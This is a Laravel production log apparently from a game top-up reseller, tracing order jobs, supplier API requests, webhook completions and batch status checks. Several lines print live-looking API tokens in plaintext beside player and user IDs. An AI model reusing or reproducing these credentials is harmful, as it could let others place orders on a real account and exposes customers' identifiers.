[2026-03-24 18:10:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3xJYmF-1774364903","operation_id":163967,"processed":1,"errors":0} 
[2026-03-24 18:10:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3xJYmF-1774364903","operation_id":163967,"processed":1,"errors":0} 
[2026-03-24 18:10:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3xJYmF-1774364903","operation_id":163967} 
[2026-03-24 18:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 18:10:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 18:10:04] production.INFO: async() رجع: true  
[2026-03-24 18:10:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:10:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:10:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:10:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:10:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:10:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:10:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:10:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:10:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:10:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:10:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 18:10:31] production.INFO: Constructing job for order: 179064  
[2026-03-24 18:10:33] production.INFO: Handling job for order: 179064  
[2026-03-24 18:10:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:10:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:10:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/97/params?qty=2000&uuid=c2a8ac56-da0f-4cb7-b150-4b7471b62d99&Player_ID=822196337  
[2026-03-24 18:10:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/97/params?qty=2000&uuid=c2a8ac56-da0f-4cb7-b150-4b7471b62d99&Player_ID=822196337","has_body":false} 
[2026-03-24 18:10:33] production.INFO: Operation sent successfully {"operation_id":163968,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yWaeRAa-1774365033","amount":2.088558600000000264884647549479268491268157958984375,"status":"processing","product":"PartyStar Amount","game":"PartyStar","notes":[],"created_at":"2026-03-24 18:10:33"}},"processed_data":{"order_number":"ORD-yWaeRAa-1774365033","amount":2.088558600000000264884647549479268491268157958984375,"status":"processing","product":"PartyStar Amount","game":"PartyStar"}} 
[2026-03-24 18:10:35] production.INFO: Creating credit request {"payload":{"method_id":"14","amount":"1200.0","mainamount":"1200","operation_number":"158538951","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php4f119o1hneu7fdXBkTK"}},"user_id":1703} 
[2026-03-24 18:10:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:10:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:10:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:10:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:10:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:10:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:10:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:10:36] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:10:36] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18663,"user_id":1703,"amount":1200.0,"admins_notified":7} 
[2026-03-24 18:11:43] production.INFO: Constructing job for order: 179065  
[2026-03-24 18:11:45] production.INFO: Constructing job for order: 179066  
[2026-03-24 18:11:45] production.INFO: Handling job for order: 179065  
[2026-03-24 18:11:45] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:11:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:11:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=24000&uuid=a076e713-db79-402d-87c5-ba4e7df72c56&Player_ID=6666704225  
[2026-03-24 18:11:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=24000&uuid=a076e713-db79-402d-87c5-ba4e7df72c56&Player_ID=6666704225","has_body":false} 
[2026-03-24 18:11:46] production.INFO: Operation sent successfully {"operation_id":163969,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ujnW-1774365106","amount":2.701440000000000285496071228408254683017730712890625,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 18:11:46"}},"processed_data":{"order_number":"ORD-ujnW-1774365106","amount":2.701440000000000285496071228408254683017730712890625,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 18:11:46] production.INFO: Handling job for order: 179066  
[2026-03-24 18:11:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:11:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:11:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=49440f7f-52df-4490-9e05-bba88a1b1da1&Player_ID=52353698437  
[2026-03-24 18:11:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=49440f7f-52df-4490-9e05-bba88a1b1da1&Player_ID=52353698437","has_body":false} 
[2026-03-24 18:11:47] production.INFO: Operation sent successfully {"operation_id":163970,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ffS2EtV-1774365107","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:11:47"}},"processed_data":{"order_number":"ORD-ffS2EtV-1774365107","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:11:55] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ujnW-1774365106","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:11:55] production.INFO: Processed webhook data (normalized) {"id":"ORD-ujnW-1774365106","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:11:55] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:11:55] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179065} 
[2026-03-24 18:11:55] production.INFO: Order updated successfully. Order ID: 179065, Status: completed  
[2026-03-24 18:11:55] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ujnW-1774365106","status":"completed","codes_count":0} 
[2026-03-24 18:11:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 18:12:01] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ffS2EtV-1774365107","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:12:01] production.INFO: Processed webhook data (normalized) {"id":"ORD-ffS2EtV-1774365107","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:12:01] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:12:01] production.INFO: SendAcceptReject: Notification queued {"user_id":14,"notification_type":"order_approved","reference_id":179066} 
[2026-03-24 18:12:01] production.INFO: Order updated successfully. Order ID: 179066, Status: completed  
[2026-03-24 18:12:01] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ffS2EtV-1774365107","status":"completed","codes_count":0} 
[2026-03-24 18:12:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 14  
[2026-03-24 18:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02"} 
[2026-03-24 18:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","total_operations":1,"sites_count":1} 
[2026-03-24 18:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-yWaeRAa-1774365033"]} 
[2026-03-24 18:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yWaeRAa-1774365033","operation_id":163968,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 18:12:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yWaeRAa-1774365033","operation_id":163968,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:12:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yWaeRAa-1774365033","operation_id":163968,"count":1} 
[2026-03-24 18:12:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yWaeRAa-1774365033","operation_id":163968,"count":1} 
[2026-03-24 18:12:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yWaeRAa-1774365033","operation_id":163968,"user_id":1141,"notification_type":"order_approved","reference_id":179064} 
[2026-03-24 18:12:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yWaeRAa-1774365033","operation_id":163968,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:12:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yWaeRAa-1774365033","operation_id":163968,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:12:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yWaeRAa-1774365033","operation_id":163968,"processed":1,"errors":0} 
[2026-03-24 18:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yWaeRAa-1774365033","operation_id":163968,"processed":1,"errors":0} 
[2026-03-24 18:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"lgOZDXFHA8c4DNf99bQr8sbRafvbXp3j","execution_time":"2026-03-24 18:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yWaeRAa-1774365033","operation_id":163968} 
[2026-03-24 18:12:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 18:12:05] production.INFO: Constructing job for order: 179067  
[2026-03-24 18:12:08] production.INFO: Handling job for order: 179067  
[2026-03-24 18:12:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:12:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:12:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0e241360-d1cc-4fc0-8b6c-991d4ce64670&Player_ID=52336683076  
[2026-03-24 18:12:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0e241360-d1cc-4fc0-8b6c-991d4ce64670&Player_ID=52336683076","has_body":false} 
[2026-03-24 18:12:09] production.INFO: Operation sent successfully {"operation_id":163971,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-eJkN6-1774365129","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:12:09"}},"processed_data":{"order_number":"ORD-eJkN6-1774365129","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:12:19] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-eJkN6-1774365129","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:12:19] production.INFO: Processed webhook data (normalized) {"id":"ORD-eJkN6-1774365129","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:12:19] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:12:19] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179067} 
[2026-03-24 18:12:19] production.INFO: Order updated successfully. Order ID: 179067, Status: completed  
[2026-03-24 18:12:19] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-eJkN6-1774365129","status":"completed","codes_count":0} 
[2026-03-24 18:12:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 18:12:50] production.INFO: Constructing job for order: 179068  
[2026-03-24 18:12:51] production.INFO: Handling job for order: 179068  
[2026-03-24 18:12:51] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:12:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:12:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=e71e57b7-238c-49a0-882a-2f4eeb90fbb6&Player_ID=0937906751  
[2026-03-24 18:12:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=e71e57b7-238c-49a0-882a-2f4eeb90fbb6&Player_ID=0937906751","has_body":false} 
[2026-03-24 18:12:52] production.INFO: Operation sent successfully {"operation_id":163972,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MANf8Wk-1774365172","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:12:52"}},"processed_data":{"order_number":"ORD-MANf8Wk-1774365172","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:13:40] production.INFO: Constructing job for order: 179069  
[2026-03-24 18:13:43] production.INFO: Handling job for order: 179069  
[2026-03-24 18:13:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:13:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:13:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=e516d0a0-d4de-49f2-9577-66e6ee6d33b3&Player_ID=5209598814  
[2026-03-24 18:13:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=e516d0a0-d4de-49f2-9577-66e6ee6d33b3&Player_ID=5209598814","has_body":false} 
[2026-03-24 18:13:44] production.INFO: Operation sent successfully {"operation_id":163973,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Taz-1774365224","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:13:44"}},"processed_data":{"order_number":"ORD-Taz-1774365224","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 18:13:49] production.INFO: Constructing job for order: 179070  
[2026-03-24 18:13:50] production.INFO: Handling job for order: 179070  
[2026-03-24 18:13:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:13:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:13:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c6edbdb8-d226-4057-b8ad-a15c4f129e03&Player_ID=52336683076  
[2026-03-24 18:13:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c6edbdb8-d226-4057-b8ad-a15c4f129e03&Player_ID=52336683076","has_body":false} 
[2026-03-24 18:13:51] production.INFO: Operation sent successfully {"operation_id":163974,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YLsL-1774365231","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:13:51"}},"processed_data":{"order_number":"ORD-YLsL-1774365231","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:13:55] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Taz-1774365224","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:13:55] production.INFO: Processed webhook data (normalized) {"id":"ORD-Taz-1774365224","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:13:55] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:13:55] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179069} 
[2026-03-24 18:13:55] production.INFO: Order updated successfully. Order ID: 179069, Status: completed  
[2026-03-24 18:13:55] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Taz-1774365224","status":"completed","codes_count":0} 
[2026-03-24 18:13:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 18:14:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-YLsL-1774365231","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:14:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-YLsL-1774365231","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:14:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:14:02] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179070} 
[2026-03-24 18:14:02] production.INFO: Order updated successfully. Order ID: 179070, Status: completed  
[2026-03-24 18:14:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-YLsL-1774365231","status":"completed","codes_count":0} 
[2026-03-24 18:14:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03"} 
[2026-03-24 18:14:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","total_operations":1,"sites_count":1} 
[2026-03-24 18:14:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-MANf8Wk-1774365172"]} 
[2026-03-24 18:14:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 18:14:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:14:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MANf8Wk-1774365172","operation_id":163972,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 18:14:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MANf8Wk-1774365172","operation_id":163972,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:14:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MANf8Wk-1774365172","operation_id":163972,"count":1} 
[2026-03-24 18:14:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MANf8Wk-1774365172","operation_id":163972,"count":1} 
[2026-03-24 18:14:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MANf8Wk-1774365172","operation_id":163972,"user_id":903,"notification_type":"order_approved","reference_id":179068} 
[2026-03-24 18:14:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MANf8Wk-1774365172","operation_id":163972,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:14:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MANf8Wk-1774365172","operation_id":163972,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:14:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MANf8Wk-1774365172","operation_id":163972,"processed":1,"errors":0} 
[2026-03-24 18:14:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MANf8Wk-1774365172","operation_id":163972,"processed":1,"errors":0} 
[2026-03-24 18:14:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"dr1aLDTq7wEC7abtdoGRNBSXNLEHoEGB","execution_time":"2026-03-24 18:14:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MANf8Wk-1774365172","operation_id":163972} 
[2026-03-24 18:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 18:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 18:14:19] production.INFO: Constructing job for order: 179071  
[2026-03-24 18:14:22] production.INFO: Handling job for order: 179071  
[2026-03-24 18:14:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:14:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:14:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/591/params?qty=70000&uuid=281e0e29-9300-4bb9-88ff-59341b4bda1e&Player_ID=83941527  
[2026-03-24 18:14:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/591/params?qty=70000&uuid=281e0e29-9300-4bb9-88ff-59341b4bda1e&Player_ID=83941527","has_body":false} 
[2026-03-24 18:14:23] production.INFO: Operation sent successfully {"operation_id":163975,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YNkOhY-1774365262","amount":6.84923400000000004439471013029105961322784423828125,"status":"processing","product":"Yoho Amount","game":"Yoho","notes":[],"created_at":"2026-03-24 18:14:23"}},"processed_data":{"order_number":"ORD-YNkOhY-1774365262","amount":6.84923400000000004439471013029105961322784423828125,"status":"processing","product":"Yoho Amount","game":"Yoho"}} 
[2026-03-24 18:14:32] production.INFO: Constructing job for order: 179072  
[2026-03-24 18:14:35] production.INFO: Handling job for order: 179072  
[2026-03-24 18:14:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:14:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:14:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=2500&uuid=ba8779aa-7ee2-42f4-ae76-b11eb2ec7137&Player_ID=51103728  
[2026-03-24 18:14:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=2500&uuid=ba8779aa-7ee2-42f4-ae76-b11eb2ec7137&Player_ID=51103728","has_body":false} 
[2026-03-24 18:14:36] production.INFO: Operation sent successfully {"operation_id":163976,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Xazjv-1774365275","amount":4.2916807499999993780193108250387012958526611328125,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 18:14:36"}},"processed_data":{"order_number":"ORD-Xazjv-1774365275","amount":4.2916807499999993780193108250387012958526611328125,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 18:15:03] production.INFO: Executing GetProducts task...  
[2026-03-24 18:15:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:15:03] production.INFO: Executing GetProducts task...  
[2026-03-24 18:15:05] production.INFO: async() رجع: true  
[2026-03-24 18:15:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:15:05] production.WARNING: Product with ID 395 not found  
